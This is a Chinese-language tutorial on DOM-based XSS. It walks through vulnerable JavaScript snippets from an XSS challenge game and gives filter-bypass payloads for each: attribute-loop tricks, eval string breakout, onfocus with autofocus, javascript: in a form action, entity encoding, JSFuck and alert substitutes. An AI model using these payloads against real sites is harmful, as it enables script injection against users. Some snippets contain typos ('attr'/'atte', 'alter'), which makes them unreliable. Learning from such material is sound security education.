DOM型XSS

DOM-based XSS（文档对象模型 XSS）是一种跨站脚本攻击（XSS），其特征是攻击的代码直接在客户端的文档对象模型（DOM）中执行，而不是通过服务器端处理。这种攻击方式不同于传统的反射型和存储型XSS，它并不依赖服务器直接将恶意脚本注入响应，而是通过客户端的JavaScript脚本动态地将用户输入的数据插入到DOM中，导致恶意代码执行。

工作原理

用户输入未被过滤：攻击者提供一个特制的输入（通常是在URL、表单输入、或者cookie等地方），这些输入数据会被浏览器的JavaScript代码读取。
客户端代码解析输入并修改DOM：客户端的JavaScript没有对用户输入进行适当的检查，直接使用这些数据操作DOM。例如，使用innerHTML、document.write()等方法将用户数据插入页面中。
恶意代码注入并执行：如果用户输入中包含恶意脚本（比如<script>alert('XSS')</script>），那么这段脚本会被插入DOM并被浏览器执行，导致XSS攻击成功。

DOM型XSS实例

For循环, 假过滤

<body>
    
</body>

<script>
    //location.hash.substr(1),从url中获取#后所有内容
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    //for循环枚举标签中的所有属性, 然后移除
    for (let el of root.querySelectorAll('*'))
    {
        for (let atte of el.attributes){
            el.removeAttribute(attr.name)
        }
    }
    document.body.appendChild(root)
</script>

当你用 JavaScript 动态创建 HTML 内容时

1	div.innerHTML = "<script>alert(1)</script>";

浏览器会将 <script> 标签插入 DOM 中，但不会执行它里面的 JavaScript。这是浏览器的安全机制，防止恶意脚本执行。

因此我们只能尝试利用 img a from 等标签

按照我们的直觉来看, 这个for循环完全是可以遍历我们的所有属性并删除, 以此来规避我们的恶意属性, 但事实真的如此吗

1	#<a na=1 id=2 href=a onerror=alert(1)>aaa</a>

可以看到，我们的偶数位的属性被保留了下来，这是因为移除会改变原始集合，如{属性1：a=1, 属性2：b=2,属性3：c=3}，删除属性a=1后，集合变为{属性1：b=2, 属性2：c=3,属性3：}，而这个时候我们的指针指向了”属性2”，从而保留了属性b=2

1	#<img id=1 src=a c=3 onerror=alert(1)>

改进代码

<script>
 const data = decodeURIComponent(location.hash.substr(1));;
 const root = document.createElement('div');
 root.innerHTML = data;

 for (let el of root.querySelectorAll('*')) {
  let attrs = [];
  for (let attr of el.attributes) {
   attrs.push(attr.name);
  }
  for (let name of attrs) {
   el.removeAttribute(name);
  }
 }    
  document.body.appendChild(root); 
</script>

那么，这道题又该如何解

XSS GAME

eval

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

https://developer.mozilla.org/zh-CN/

eval() 是全局对象的一个函数属性。 eval() 的参数是一个字符串。如果字符串表示的是表达式，eval() 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句，那么eval() 就会执行这些语句。……如果 eval() 的参数不是字符串， eval() 会将参数原封不动地返回。

1	jeff=aaa";%20alert(1)//

autofocus

自动聚焦

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

使用用户不参与的方式，触发payload

input 标签的特殊属性，聚焦onfocus

1	wey=aaa" onfocus=alert(1) autofocus"

action

action 可以接受 javascript:伪协议

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

1	ricardo=javascript:alert(1)

编码

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

这段代码过滤了一些符号，但是，它并没有过滤 < 和 > , 所以我们的标签一定是可以被解析，所以我们尝试对过滤的符号进行编码，来绕过过滤

<img src=q onerror=alter(1)>
编码符号
<img src=q onerror=alter&lpar;1&rpar;>
特殊字符导致url不能被正常传输

1	<img src=q onerror=alert%26lpar%3B1%26rpar%3B>

jsfuck

1
2
3

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

很明显，这段代码拒绝所有的正常写入，以及常规的编码写入，我们必须选择一种不含 [A-Za-z0-9] 的编码方式 jsfuck

JSFuck 是一种将 JavaScript 代码转换为仅使用 6 个字符 []()!+ 表示的编码方式。这种编码方式利用了 JavaScript 的隐式类型转换和函数调用机制，将任意代码转换为极其冗长、难以阅读的形式。

~~http://www.hiencode.com/jsfuck.html~~ 编码错了

(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]

同样的，对他进行url encode

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Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

过滤了alert，一些符号，以及jsfuck
没有过滤（和），可以考虑alert的替代函数
没有过滤；，可以考虑html 实体编码
可以尝试大写转小写的方法

confirm()和prompt()
Number 值的 toString() 方法返回表示该数字值的字符串。
radix将数值从一种进制转换为另一种进制
1
eval(8680439..toString(30))(1337)
Function()
创建一个新的 Function 对象。直接调用此构造函数可以动态创建函数，但会遇到和 eval() 类似的安全问题和（相对较小的）性能问题。然而，与 eval() 不同的是，Function 构造函数创建的函数只能在全局作用域中运行。
1
Function(/ALERT(1337)/.source.toLowerCase())()
Location 接口的 hash 属性是一个字符串，包含一个 "#" 后跟位置 URL 的片段标识符。如果 URL 没有片段标识符，则该属性的值为空字符串 ""。
请参阅 URL.hash 以获取更多信息。
1
eval(location.hash.slice(1))#alert(1)